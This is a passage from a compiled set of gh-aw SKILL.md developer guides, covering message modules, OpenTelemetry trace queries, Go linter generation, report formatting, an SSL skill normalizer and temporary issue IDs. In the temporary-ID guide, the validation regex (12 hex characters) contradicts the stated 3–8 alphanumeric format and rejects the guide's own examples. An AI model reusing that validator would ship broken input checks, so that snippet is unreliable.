## Step 3: Update the parser if needed

If the message needs custom parsing logic, update the workflow parser in `pkg/workflow/safe_outputs.go` or the relevant config block. Most simple string fields will be wired automatically by the existing reflection-based parser.

## Step 4: Create the JavaScript message module

Create the new module in the current shared JS location, typically `pkg/workflow/js/`:

```javascript
// @ts-check
/// <reference types="@actions/github-script" />

const { getMessages, renderTemplate, toSnakeCase } = require("./messages_core.cjs");

/**
 * @typedef {Object} MyNewMessageContext
 * @property {string} placeholder1 - Description of placeholder1
 * @property {string} placeholder2 - Description of placeholder2
 */

function getMyNewMessage(ctx) {
	const messages = getMessages();
	const templateContext = toSnakeCase(ctx);
	const defaultMessage = "Default message with {placeholder1} and {placeholder2}";

	return messages?.myNewMessage
		? renderTemplate(messages.myNewMessage, templateContext)
		: renderTemplate(defaultMessage, templateContext);
}

module.exports = {
	getMyNewMessage,
};
```

**Key points:**
- File naming: `messages_<category>.cjs`
- Reuse `./messages_core.cjs` for shared helpers
- Use JSDoc for types and default behavior
- Keep the default message sensible and deterministic

## Step 5: Add tests

Create a matching test file, for example `pkg/workflow/js/messages_my_new.test.cjs`:

```javascript
import { describe, it, expect, beforeEach, vi } from "vitest";

const mockCore = { warning: vi.fn() };
global.core = mockCore;

describe("getMyNewMessage", () => {
	beforeEach(() => {
		vi.clearAllMocks();
		delete process.env.GH_AW_SAFE_OUTPUT_MESSAGES;
	});

	it("returns the default message when no custom template is configured", async () => {
		const { getMyNewMessage } = await import("./messages_my_new.cjs");
		const result = getMyNewMessage({ placeholder1: "value1", placeholder2: "value2" });
		expect(result).toBe("Default message with value1 and value2");
	});

	it("uses the custom template when configured", async () => {
		process.env.GH_AW_SAFE_OUTPUT_MESSAGES = JSON.stringify({ myNewMessage: "Custom: {placeholder1}" });
		const { getMyNewMessage } = await import("./messages_my_new.cjs");
		const result = getMyNewMessage({ placeholder1: "test", placeholder2: "ignored" });
		expect(result).toContain("Custom: test");
	});
});
```

Run the relevant tests with `make test-js` or the targeted Vitest file.

## Step 6: Update the core JS type metadata and exports

Update the `SafeOutputMessages` typedef and the return object in `pkg/workflow/js/messages_core.cjs`, and re-export the message helper from `pkg/workflow/js/messages.cjs`.

## Step 7: Wire it into the real build path

Do not add any new `//go:embed` entries to `pkg/workflow/js.go` for a normal message module. The current system packages JavaScript through the action-generation/build path.

Instead:

- keep the JS module in `pkg/workflow/js/` or the relevant action folder,
- update the action dependency map or action source if needed,
- rebuild the action bundle with `make actions-build`.

## Step 8: Use the message in consumer scripts

```javascript
const { getMyNewMessage } = require("./messages_my_new.cjs");

const message = getMyNewMessage({
	placeholder1: actualValue1,
	placeholder2: actualValue2,
});
```

## Step 9: Update documentation

Document the new message in the repo’s relevant safe-output docs, and keep the examples aligned with the current action-based JavaScript build flow.

## Verification Checklist

Before committing a message change:

- [ ] Frontmatter and schema updated
- [ ] Go config/struct updated if needed
- [ ] JS module created under the correct source tree
- [ ] Tests added and passing
- [ ] `messages_core.cjs` and `messages.cjs` updated if relevant
- [ ] Generated action/build output refreshed when required
- [ ] No stale embedding instructions are introduced for the current action-based JS build flow

## References

- `actions/README.md` - current action-generation/build workflow
- `pkg/workflow/js/messages_core.cjs` - shared safe-output message helpers
- `pkg/workflow/js/messages.cjs` - message exports
- `pkg/parser/schemas/main_workflow_schema.json` - schema source of truth

Update the Message Module Architecture table:
```markdown
| Module | Purpose | Exported Functions |
|--------|---------|-------------------|
| `messages_my_new.cjs` | My new message description | `getMyNewMessage` |
```

## Notes

For current gh-aw work, keep message modules aligned with the action-generation flow instead of the historical Go-embed pattern. If you need an example, review the existing safe-output modules under `pkg/workflow/js/` and the generated action files under `actions/`.

<!-- chapter:end slug=messages -->

---

<!-- chapter:begin slug=otel-queries position=22 -->

## 22. otel-queries

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/otel-queries/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/otel-queries/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/otel-queries.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: otel-queries
description: Analyze gh-aw OpenTelemetry traces from JSONL mirrors or OTLP backends.
---

# OTel Queries

Use this skill to inspect gh-aw OpenTelemetry/OTLP data and answer telemetry questions without re-deriving trace fields, backend filters, and diagnostics.

## When To Use

Use this skill for requests such as:

- analyze OTEL or OTLP data
- inspect traces in Grafana, Tempo, Sentry, Honeycomb, or Datadog
- explain why a workflow or agent run is slow or failing
- compare run phases, error clusters, or span attributes
- identify the best observability or performance improvement
- close the loop from telemetry into code or workflow changes

Do not use this skill for instrumentation-only tasks that do not require reading telemetry. For pure emit-side work, start with the existing OTLP code and docs.

## Primary Goal

Reduce a broad telemetry task to one tight loop:

1. Find the cheapest trustworthy telemetry source.
2. Run a small fixed set of common queries.
3. Confirm one concrete bottleneck, missing attribute, or broken correlation path.
4. Answer the user's telemetry question directly.
5. Recommend or implement a follow-on optimization only when the evidence supports it.

## Telemetry Sources In Priority Order

Prefer sources in this order unless the user says otherwise:

1. Local artifacts or mirrors already in the workspace.
2. `/tmp/gh-aw/otel.jsonl` for gh-aw spans.
3. Live OTLP backend data through an MCP server or supported tool — Copilot CLI spans are exported directly to the configured OTLP backend (no local file mirror) and must be queried there, filtered by the `github.run_id` resource attribute.
4. Static code inspection only, when no telemetry is available.

Use the cheapest source that can disconfirm the current hypothesis.

## Standard Analysis Loop

Always answer these questions in order before expanding scope.

### 1. Do spans exist for the run or workflow at all?

Look for:

- `traceId`
- span `name`
- `service.name`
- `github.repository`
- `github.run_id`

If these are missing, the problem is likely export, filtering, or trace propagation rather than optimization.

### 2. Is trace continuity intact?

Check whether spans that should belong together share the same:

- trace ID
- parent span lineage
- run ID
- workflow reference

If setup, agent, and conclusion spans are not connected, fix correlation before interpreting latency.

### 3. Which phase is actually slow or failing?

Bucket spans into phases:

- setup
- agent execution
- tool or safe-output calls
- conclusion

Prefer wall-clock duration and count by span name prefix before reading code.

### 4. Do the spans contain enough attributes to explain the slowdown or failure?

Minimum diagnostic attributes to verify:

- `service.version`
- `deployment.environment`
- `github.repository`
- `github.run_id`
- `github.event_name`
- `github.workflow_ref`
- `gh-aw.workflow`
- `gh-aw.engine`
- conclusion or failure attributes

If the slow or failing span lacks the attribute needed to group, filter, or explain it, the right next step may be an instrumentation change rather than a runtime change.

### 5. Is the problem systemic or isolated?

Check whether the pattern repeats across:

- multiple runs of the same workflow
- multiple jobs in the same trace
- one engine only
- one event type only
- one environment only

Do not propose broad architectural changes for a single outlier trace.

## Common Queries

Use these backend-agnostic query shapes first. Translate them into the native query language or MCP tool calls for the active backend.

### Query 1: Recent gh-aw spans

Filter for the last 24 hours and `service.name = gh-aw`.

Return:

- timestamp
- trace ID
- span name
- duration
- status
- `github.run_id`
- `github.workflow_ref`

### Query 2: Slowest spans by name

Group by span name and sort by:

- p95 duration
- max duration
- count

Use this to find whether the bottleneck is setup, agent, tool, or conclusion work.

### Query 3: Errors by span name

Filter for error status and group by:

- span name
- status message
- workflow ref
- engine

Use this to separate exporter failures from workflow logic failures.

### Query 4: Missing core attributes

Sample recent spans and explicitly record whether each span includes:

- `service.version`
- `github.repository`
- `github.run_id`
- `github.event_name`
- `deployment.environment`

If a backend supports `has` or `exists` filters, use them. Otherwise inspect a small sample manually.

### Query 5: Trace integrity for one failing run

Pick one trace ID and inspect the full trace. Record:

- root span name
- child spans present
- missing expected spans
- parent-child continuity gaps

### Query 6: Repeated cost or latency hotspot

For agent-heavy traces, group by:

- engine
- workflow
- job
- tool span name

Then compare count, total duration, and p95 duration.

## Local JSONL Recipes

When telemetry is available as JSONL, prefer shell plus `jq` over broad file reading.

### Recent spans

```bash
jq -c '.resourceSpans[]?.scopeSpans[]?.spans[]? | {traceId, name, startTimeUnixNano, endTimeUnixNano, status, attributes}' /tmp/gh-aw/otel.jsonl
```

### Filter by span name prefix

```bash
jq -c '.resourceSpans[]?.scopeSpans[]?.spans[]? | select(.name | startswith("gh-aw."))' /tmp/gh-aw/otel.jsonl
```

### Extract one attribute by key

```bash
jq -r '.resourceSpans[]?.scopeSpans[]?.spans[]? as $span | $span.attributes[]? | select(.key == "github.run_id") | .value.stringValue' /tmp/gh-aw/otel.jsonl
```

### Find spans missing an attribute

```bash
jq -c '.resourceSpans[]?.scopeSpans[]?.spans[]? | select(any(.attributes[]?; .key == "github.run_id") | not) | {traceId, name}' /tmp/gh-aw/otel.jsonl
```

### Inspect one trace

```bash
jq -c '.resourceSpans[]?.scopeSpans[]?.spans[]? | select(.traceId == $traceId)' --arg traceId "TRACE_ID_HERE" /tmp/gh-aw/otel.jsonl
```

## Backend Translation Notes

Adapt the same six common queries to the active backend instead of inventing new analysis questions.

### Grafana or Tempo

- Start with datasource or trace search discovery.
- Prefer trace search scoped to `service.name="gh-aw"` and a short time window.
- Use trace detail views to validate parent-child continuity.
- Use derived metrics or span aggregations only after a sample trace confirms the field names.

### Sentry

- Search the spans dataset first.
- Fall back to transactions only if spans are unavailable.
- Use one full trace to validate attribute presence; do not infer from issue titles alone.

### Honeycomb or Datadog

- Start with dataset or service filters on `service.name`.
- Group by span name and error status.
- Sample raw spans to confirm exact attribute keys before building aggregate conclusions.

## Follow-On Decisions

After answering the telemetry question, choose the next step based on the evidence.

Prioritize in this order:

1. Broken trace continuity or missing spans.
2. Missing attributes that block filtering, correlation, or incident response.
3. High-frequency latency hotspot with a narrow owner.
4. High-severity error cluster with a narrow owner.
5. Dashboard or query ergonomics improvements.

Prefer the smallest change that unlocks the most operational clarity.

## Output Contract

When using this skill, produce findings in this shape:

1. Telemetry source used.
2. The question answered.
3. One confirmed bottleneck, observability gap, or healthy result.
4. The exact evidence: span name, trace ID or run ID, attribute presence or absence, and duration or error pattern.
5. The smallest code, workflow, or instrumentation change to make, if one is needed.
6. The validation step that would prove the result or follow-on change.

## gh-aw Specific Pointers

Start with these files when telemetry indicates an instrumentation or correlation problem:

- `actions/setup/js/send_otlp_span.cjs`
- `actions/setup/js/action_setup_otlp.cjs`
- `actions/setup/js/action_conclusion_otlp.cjs`
- `actions/setup/js/otlp.cjs`
- `actions/setup/js/generate_observability_summary.cjs`
- `actions/setup/js/aw_context.cjs`
- `pkg/workflow/observability_otlp.go`
- `docs/src/content/docs/guides/custom-otlp-attributes.md`

## Anti-Patterns

Avoid these common mistakes:

- starting with full-code inspection before checking whether telemetry already proves the issue
- treating a single anomalous trace as a systemic problem
- proposing instrumentation changes without naming the missing attribute or broken correlation edge
- spending prompt budget on backend-specific browsing before confirming the standard six queries
- mixing exporter failures with business-logic failures

## Expected Result

After using this skill, the agent should be able to move from raw OTel data to a grounded answer without re-deriving the telemetry playbook.

<!-- chapter:end slug=otel-queries -->

---

<!-- chapter:begin slug=pr-to-go-linter position=23 -->

## 23. pr-to-go-linter

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/pr-to-go-linter/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/pr-to-go-linter/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/pr-to-go-linter.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: pr-to-go-linter
description: Generate a new pkg/linters analyzer from a merged or open PR pattern.
---

# PR to Go Linter

Use this skill when a user asks to create a new custom Go linter based on a code pattern fixed in a pull request.

## Goal

Convert one concrete PR pattern into a new `go/analysis` linter under `pkg/linters/<name>/` with tests and runner registration.

## Inputs

- Repository owner/name
- Pull request number
- Target linter name (kebab-case)

## Workflow

1. Read PR metadata and changed files.
2. Read the PR diff and extract the repeated pattern that was fixed.
3. Define one precise diagnostic rule from that pattern.
4. Confirm no existing linter in `pkg/linters/` already covers it.
5. Implement:
   - `pkg/linters/<name>/<name>.go` with exported `Analyzer`
   - `pkg/linters/<name>/<name>_test.go` using `analysistest`
   - `pkg/linters/<name>/testdata/src/<name>/<name>.go` fixtures with `// want`
   - `cmd/linters/main.go` registration in `multichecker.Main(...)`
6. Validate:
   - `go test ./pkg/linters/<name>/...`
   - `go build ./cmd/linters`
   - `make golint-custom`

## Rule quality checks

- High signal, low false positives on this repository.
- Diagnostic is specific and fixable.
- Rule scope matches code in the PR (do not generalize beyond evidence).
- Do not change unrelated linter packages.

## Example pattern source

For PR `#33038` (`Refactor pkg mutex sites to use deferred unlocks consistently`), derive a linter idea that reports lock/unlock sections that manually unlock instead of deferring unlock immediately after lock when the function body matches the same cache/logger-style critical section pattern.

## Output expectations

- Minimal implementation-only diff in `pkg/linters/<name>/` and `cmd/linters/main.go`.
- Tests prove both flagged and non-flagged cases.
- PR summary explains: source PR, extracted pattern, and why the rule is safe.

<!-- chapter:end slug=pr-to-go-linter -->

---

<!-- chapter:begin slug=reporting position=24 -->

## 24. reporting

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/reporting/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/reporting/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/reporting.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

Bundled files (1), referenced from this skill's directory:
  - `ssl.json` — https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/reporting/ssl.json

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: reporting
description: Format reports with HTML details/summary blocks for readable output.
---

# Report Format Guidelines

Use these rules to format reports with collapsible sections.

## Use HTML Details/Summary Tags

Reduce scrolling and improve readability: **wrap reports in HTML `<details>` and `<summary>` tags** so users can expand and collapse sections.

**Basic Structure:**

```markdown
<details>
<summary>📊 Report Title - [Date]</summary>

## Report Content

Your detailed report content goes here...

### Section 1

Content for section 1...

### Section 2

Content for section 2...

</details>
```

<!-- chapter:end slug=reporting -->

---

<!-- chapter:begin slug=ssl position=25 -->

## 25. ssl-skill-normalizer

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/ssl/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/ssl/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/ssl.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

Bundled files (1), referenced from this skill's directory:
  - `ssl.json` — https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/ssl/ssl.json

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
# This frontmatter describes a meta-skill for the SSL Skill Normalizer.
# It defines the skill's interface (inputs/outputs) and required tools.
# It is not an executable gh-aw workflow; it is a reusable skill artifact
# invoked by agents that implement the SSL normalization pipeline.
name: ssl-skill-normalizer
description: Normalize SKILL.md artifacts into Scheduling-Structural-Logical (SSL) JSON representations using a conservative multi-pass extraction pipeline.
tools:
  - read_file
  - write_file
  - search_files
  - json_validate
  - create_artifact
  - run_tests
inputs:
  - skill_path
outputs:
  - ssl_json
  - validation_report
---

# SSL Skill Normalizer

## Purpose

This skill converts markdown-based skill artifacts into a structured **Scheduling-Structural-Logical (SSL)** representation as introduced in:

> Liang et al., "From Skill Text to Skill Structure: The Scheduling-Structural-Logical Representation for Agent Skills", arXiv:2604.24026 (2026).

SSL addresses the core limitation of free-form skill text: it is human-readable but hard for agents to reason over, discover, and audit. By mapping each skill into three complementary layers, SSL makes skills **searchable** (improved MRR 0.573 → 0.707 in the paper) and **risk-assessable** (improved macro F1 0.744 → 0.787).

---

# The Three SSL Layers

The representation is grounded in Schank & Abelson's theories of Memory Organization Packets (MOPs), Script Theory, and Conceptual Dependency. Each layer captures a different dimension of skill knowledge:

## Layer 1 — Scheduling (When / Who)

Answers: *When should this skill be invoked? By whom, given which inputs and outputs?*

Fields extracted:
- `id` — stable lowercase identifier
- `name` — human-readable skill name
- `goal` — one-sentence purpose
- `intent_signature` — typed function signature (`fn($input) -> $output`)
- `inputs` — `$`-prefixed named input bindings
- `outputs` — `$`-prefixed named output bindings
- `dependencies` — explicit runtime tool or library requirements
- `control_flow_features` — e.g. `sequential`, `conditional`, `loop`
- `entry_scene` — ID of the first scene to execute
- `subscene_refs` — IDs of any nested/delegated scenes

## Layer 2 — Structural (How / Order)

Answers: *What are the macro-level execution stages and how do they connect?*

Each **scene** is a named execution stage with:
- `id` — unique within the skill
- `type` — one of the restricted scene-type enum (see below)
- `goal` — what the scene accomplishes
- `entry_condition` — precondition for entering the scene
- `exit_condition` — postcondition that must hold on exit
- `next_scene_rules` — conditional transitions to the next scene ID, `END_SUCCESS`, or `END_FAIL`
- `inputs` / `outputs` — `$`-prefixed bindings consumed and produced
- `entry_logic_step` — ID of the first logic step in this scene

## Layer 3 — Logical (What / Actions)

Answers: *What atomic operations are performed, on which resources?*

Each **logic step** is an indivisible operation with:
- `id` — unique within the skill
- `scene_id` — owning scene
- `action_type` — one of the restricted action-type enum (see below)
- `resource_scope` — one of the restricted resource-scope enum (see below)
- `description` — one sentence describing the operation
- `inputs` / `outputs` — named `$`-variable bindings
- `next` — ID of the following step, `YIELD_SUCCESS`, or `YIELD_FAIL`

---

# Restricted Enumerations

## Scene Types

| Value | Meaning |
|---|---|
| `PREPARE` | Setup: load inputs, configure environment |
| `ACQUIRE` | Receive or fetch required data |
| `REASON` | Analyze, infer, or plan |
| `ACT` | Produce or transform primary output |
| `VERIFY` | Validate outputs or preconditions |
| `RECOVER` | Handle failure; retry or compensate |
| `FINALIZE` | Write results, emit notifications, clean up |

## Action Types

| Value | Meaning |
|---|---|
| `READ` | Consume data from a resource without side effects |
| `SELECT` | Choose among alternatives |
| `COMPARE` | Diff or rank two or more values |
| `VALIDATE` | Assert a constraint or schema |
| `INFER` | Derive new information via reasoning |
| `WRITE` | Produce or overwrite data in a resource |
| `UPDATE_STATE` | Mutate shared state |
| `CALL_TOOL` | Invoke an external tool or subprocess |
| `REQUEST` | Send a request to an external service |
| `TRANSFER` | Move data between resources |
| `NOTIFY` | Emit a message or event |
| `TERMINATE` | End execution and return control |

## Resource Scopes

| Value | Meaning |
|---|---|
| `MEMORY` | In-process working memory |
| `LOCAL_FS` | Local file system |
| `CODEBASE` | Source code under version control |
| `PROCESS` | OS process or shell |
| `USER_DATA` | User-provided or personal data |
| `CREDENTIALS` | Secrets, tokens, or credentials |
| `NETWORK` | Remote network resource |
| `OTHER` | Any resource not covered above |

## Terminal Targets

- **Scene transitions**: `END_SUCCESS` | `END_FAIL`
- **Logic-step transitions**: `YIELD_SUCCESS` | `YIELD_FAIL`

---

# Behavioral Requirements

## General Rules

- Only extract information directly supported by the source artifact.
- Do not invent hidden behavior, tools, dependencies, or side effects.
- Use restricted enum vocabularies only; never free-form strings in typed fields.
- Reject malformed outputs instead of silently repairing them.
- Prefer `null`, empty arrays, or coarse-grained classifications when evidence is weak.

---

# Execution Pipeline

## Pass 1: Scheduling Extraction

Read the source `SKILL.md`, then extract the scheduling layer.

Produce `scheduling` with all fields in Layer 1. When evidence is absent for an optional field, emit an empty array or `null`.

**Requirements**
- Use only explicit evidence from the source document.
- Preserve semantic intent without paraphrasing behavior into unsupported claims.
- Normalize all identifiers to `snake_case`.

---

## Pass 2: Scene Decomposition

Analyse the skill's execution flow and decompose it into macro-level scenes.

**Requirements**
- Prefer 2–5 scenes when supported by the source. Only add more if the source describes clearly distinct phases.
- Assign only allowed scene types from the enum table.
- For each scene define: goal, entry_condition, exit_condition, next_scene_rules, inputs, outputs, entry_logic_step.

**Constraints**
- Every `next_scene_rules` target must resolve to another scene ID, `END_SUCCESS`, or `END_FAIL`.
- Include a `RECOVER` scene when the source describes retry or error-recovery behaviour.

---

## Pass 3: Logic-Step Expansion

Expand each scene into its sequence of atomic logic steps.

**Split a step whenever any of the following changes:**
- action type
- resource boundary
- execution effect
- control-flow behaviour

**Requirements**
- Assign only allowed action types and resource scopes.
- Use `$`-prefixed variable bindings for all named data (`$user_request`, `$selected_file`, `$generated_output`).
- Do not use unnamed or free-form intermediate variables.

---

## Pass 4: Validation

Validate the draft SSL JSON against all of the following rules:

| Rule | Check |
|---|---|
| JSON syntax | Well-formed JSON |
| Required fields | All top-level fields present |
| Enum membership | All enum fields use allowed values only |
| Unique identifiers | All scene IDs and step IDs are globally unique |
| Entry pointer | `entry_scene` references an existing scene ID |
| Scene entry pointer | `entry_logic_step` references an existing step ID |
| Scene containment | All referenced scene IDs exist |
| Logic-step containment | All referenced step IDs exist |
| Transition validity | All transition targets are valid scene/step IDs or terminal values |
| Graph integrity | No unreachable scenes or dangling references |

**Failure Handling**
- Retry malformed generations within a bounded retry budget (recommend ≤ 3 retries).
- Record each validation failure with the specific rule that was violated.
- Reject records that remain invalid after retries; do not silently emit invalid JSON.

---

# Reporting

Generate a normalization report containing:

- processed artifact count
- valid SSL count
- rejected SSL count
- parse failures
- schema failures
- graph failures
- enum failures
- retry counts

Include per-artifact diagnostics with the specific Pass-4 rule that caused rejection.

Do not expose secrets or credentials in reports.

---

# Success Criteria

The skill succeeds when:

- a valid SSL JSON artifact is produced
- all references resolve correctly
- all enum values are valid
- the output passes all Pass-4 validation rules
- the output remains grounded in the source artifact with no invented behaviour

The skill fails when:

- required graph structures are missing
- transitions are invalid
- unsupported inference is required to fill required fields
- validation errors remain unresolved after retries

---

# Output Expectations

## Primary Output

A schema-valid SSL JSON file named `ssl.json` placed alongside the source `SKILL.md`. Top-level keys: `scheduling`, `scenes`, `logic_steps`.

## Secondary Output

A validation and normalization report summarizing accepted artifacts, rejected artifacts, per-artifact validation diagnostics, and retry behaviour.

---

# Safety Constraints

- Never invent credentials or external systems.
- Never infer unstated side effects.
- Never fabricate execution logic not present in the source.
- Never silently repair invalid graph structures.
- Never emit malformed JSON intentionally.
- Keep normalization deterministic where possible.

---

# Reuse Instructions

To apply this skill to a SKILL.md artifact:

1. Invoke this skill with `skill_path` pointing to the target `SKILL.md`.
2. The normalizer runs all four passes in sequence.
3. If Pass 4 fails, the `RECOVER` pass retries generation up to the retry budget.
4. The resulting `ssl.json` is written alongside the source file.
5. Review the `validation_report` output to confirm acceptance.

For batch normalization, invoke this skill once per artifact and aggregate the per-artifact reports.

<!-- chapter:end slug=ssl -->

---

<!-- chapter:begin slug=temporary-id-safe-output position=26 -->

## 26. temporary-id-safe-output

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/temporary-id-safe-output/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/temporary-id-safe-output/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/temporary-id-safe-output.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: temporary-id-safe-output
description: Add temporary ID support to safe-output jobs end to end.
---


# Adding Temporary ID Support to Safe Output Jobs

Use this implementation plan for temporary ID support in safe output jobs. Temporary IDs let agents reference newly created issues in the same run before real issue numbers exist.

## Problem Statement

When an agent creates a parent issue and immediately links sub-issues in the same run, it does not know the real issue number until `create_issue` completes. Temporary IDs bridge this gap with placeholders resolved at execution time.

## Temporary ID Format

Temporary IDs follow the pattern `aw_[A-Za-z0-9]{3,8}` where:
- `aw_` is a fixed prefix identifying agentic workflow temporary IDs
- `XXXXXXXX` is a 3-8 character alphanumeric string (A-Za-z0-9)

Example: `aw_abc`, `aw_abc123`, `aw_Test123`

## Implementation Components

### 1. Shared Module: `temporary_id.cjs`

Location: `actions/setup/js/temporary_id.cjs`

This module provides shared utilities for temporary ID handling:

```javascript
// Core functions
generateTemporaryId()           // Generate new temporary ID
isTemporaryId(value)            // Check if value is a temporary ID
normalizeTemporaryId(tempId)    // Normalize to lowercase for map lookups
loadTemporaryIdMap()            // Load map from GH_AW_TEMPORARY_ID_MAP env var
resolveIssueNumber(value, map)  // Resolve value to issue number (supports temp IDs)
replaceTemporaryIdReferences(text, map)  // Replace #aw_XXX references in text
```

### 2. Producer Job: `create_issue`

The `create_issue` job outputs a temporary ID map that other jobs can consume:

**Go changes** (`pkg/workflow/create_issue.go`):
- No changes needed - already outputs `temporary_id_map` 

**JavaScript changes** (`actions/setup/js/create_issue.cjs`):
- Generate temporary ID for each created issue
- Build map of `temporary_id -> issue_number`
- Output map via `core.setOutput("temporary_id_map", JSON.stringify(map))`

### 3. Consumer Job: Adding Temporary ID Support

For each safe output job that needs to resolve temporary IDs:

#### Step 1: Update Go Job Builder

In `pkg/workflow/<job_name>.go`:

1. Add `createIssueJobName` parameter to the build function:
```go
func (c *Compiler) build<JobName>Job(data *WorkflowData, mainJobName string, createIssueJobName string) (*Job, error) {
```

2. Add environment variable to pass the temporary ID map:
```go
if createIssueJobName != "" {
    customEnvVars = append(customEnvVars, fmt.Sprintf("          GH_AW_TEMPORARY_ID_MAP: ${{ needs.%s.outputs.temporary_id_map }}\n", createIssueJobName))
}
```

3. Add `create_issue` to the job's `needs` array:
```go
needs := []string{mainJobName}
if createIssueJobName != "" {
    needs = append(needs, createIssueJobName)
}
```

4. Update the `SafeOutputJobConfig` to use the dynamic needs:
```go
return c.buildSafeOutputJob(data, SafeOutputJobConfig{
    // ...
    Needs: needs,
    // ...
})
```

#### Step 2: Update Compiler Jobs

In `pkg/workflow/compiler_jobs.go`:

Pass the `createIssueJobName` when building the job:
```go
job, err := c.build<JobName>Job(data, mainJobName, createIssueJobName)
```

#### Step 3: Update JavaScript Script

In `pkg/workflow/js/<job_name>.cjs`:

1. Import the temporary ID utilities:
```javascript
const { loadTemporaryIdMap, resolveIssueNumber } = require("./temporary_id.cjs");
```

2. Load the temporary ID map at the start of main():
```javascript
const temporaryIdMap = loadTemporaryIdMap();
if (temporaryIdMap.size > 0) {
    core.info(`Loaded temporary ID map with ${temporaryIdMap.size} entries`);
}
```

3. Use `resolveIssueNumber()` to resolve issue numbers:
```javascript
const resolved = resolveIssueNumber(item.issue_number, temporaryIdMap);
if (resolved.errorMessage) {
    core.warning(`Failed to resolve issue: ${resolved.errorMessage}`);
    continue;
}
const issueNumber = resolved.resolved;
if (resolved.wasTemporaryId) {
    core.info(`Resolved temporary ID '${item.issue_number}' to issue #${issueNumber}`);
}
```

#### Step 4: Update Agent Ingestion Validation

In `actions/setup/js/collect_ndjson_output.cjs`:

Add validation for fields that accept temporary IDs:
```javascript
function isValidIssueNumberOrTemporaryId(value) {
    if (typeof value === "number" && Number.isInteger(value) && value > 0) {
        return true;
    }
    if (typeof value === "string" && /^aw_[0-9a-f]{12}$/i.test(value)) {
        return true;
    }
    return false;
}
```

Use this validation for fields like `parent_issue_number`, `sub_issue_number`, etc.

### 4. Failure Handling

When temporary ID resolution fails, the job should:
- Log a warning with `core.warning()` instead of failing with `core.setFailed()`
- Continue processing other items
- Include failures in the step summary
- Complete successfully with warnings

This ensures that:
- Partial success is possible (some links may work while others fail)
- The workflow doesn't fail catastrophically due to a single resolution failure
- Users can review warnings in the step summary

## Example Usage

### Workflow Configuration

```yaml
safe-outputs:
  create-issue:
    title-prefix: "[Parent] "
    labels: [tracking]
    max: 3
  link-sub-issue:
    max: 10
```

### Agent Output

```json
{"type": "create_issue", "temporary_id": "aw_abc123", "title": "Parent: Feature X", "body": "..."}
{"type": "link_sub_issue", "parent_issue_number": "aw_abc123", "sub_issue_number": 42}
{"type": "link_sub_issue", "parent_issue_number": "aw_abc123", "sub_issue_number": 43}
```

### Execution Flow

1. `main` job: Agent generates output with temporary ID `aw_abc123`
2. `create_issue` job: Creates issue #100, outputs `{"aw_abc123": 100}`
3. `link_sub_issue` job: 
   - Loads temporary ID map
   - Resolves `aw_abc123` → `100`
   - Links issues #42 and #43 as sub-issues of #100

## Jobs That Support Temporary IDs

| Job | Field(s) | Status |
|-----|----------|--------|
| `link_sub_issue` | `parent_issue_number`, `sub_issue_number` | ✅ Implemented |
| `add_comment` | `issue_number` (via text replacement) | ✅ Implemented |
| `update_issue` | `issue_number` | 🔄 Can be added |
| `close_pull_request` | - | N/A (uses PR numbers) |

## Testing

### Unit Tests

Add tests in `actions/setup/js/temporary_id.test.cjs` for:
- `isTemporaryId()` with valid and invalid inputs
- `resolveIssueNumber()` with temporary IDs and regular numbers
- `loadTemporaryIdMap()` with various JSON inputs

### Integration Tests

Add tests in `pkg/workflow/<job_name>_dependencies_test.go` to verify:
- Job includes `create_issue` in needs when configured
- `GH_AW_TEMPORARY_ID_MAP` env var is set correctly
- Job works without `create_issue` dependency

## Security Considerations

1. Temporary IDs are only valid within a single workflow run
2. The map is passed via environment variables (not exposed externally)
3. Agents cannot forge temporary IDs to reference issues from other workflows
4. Resolution failures are logged but don't expose the temporary ID map contents

## Checklist for Adding Support to a New Job

- [ ] Update Go job builder to accept `createIssueJobName` parameter
- [ ] Add `GH_AW_TEMPORARY_ID_MAP` environment variable
- [ ] Update needs array to include `create_issue` conditionally
- [ ] Update compiler_jobs.go to pass `createIssueJobName`
- [ ] Import temporary ID utilities in JavaScript script
- [ ] Use `resolveIssueNumber()` for issue number fields
- [ ] Update validation in `collect_ndjson_output.cjs` if needed
- [ ] Add unit tests for the resolution logic
- [ ] Add integration tests for job dependencies
- [ ] Update documentation

<!-- chapter:end slug=temporary-id-safe-output -->

---

<!-- chapter:begin slug=gh-aw position=27 -->

## 27. GitHub Agentic Workflows

- **Source:** https://github.com/github/gh-aw/blob/main/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/gh-aw.md
- **Licence:** Declared in LICENSE — https://github.com/github/gh-aw/blob/main/LICENSE

Bundled files (39), referenced from this skill's directory:
  - `.architecture.yml` — https://raw.githubusercontent.com/github/gh-aw/main/.architecture.yml
  - `.gitattributes` — https://raw.githubusercontent.com/github/gh-aw/main/.gitattributes
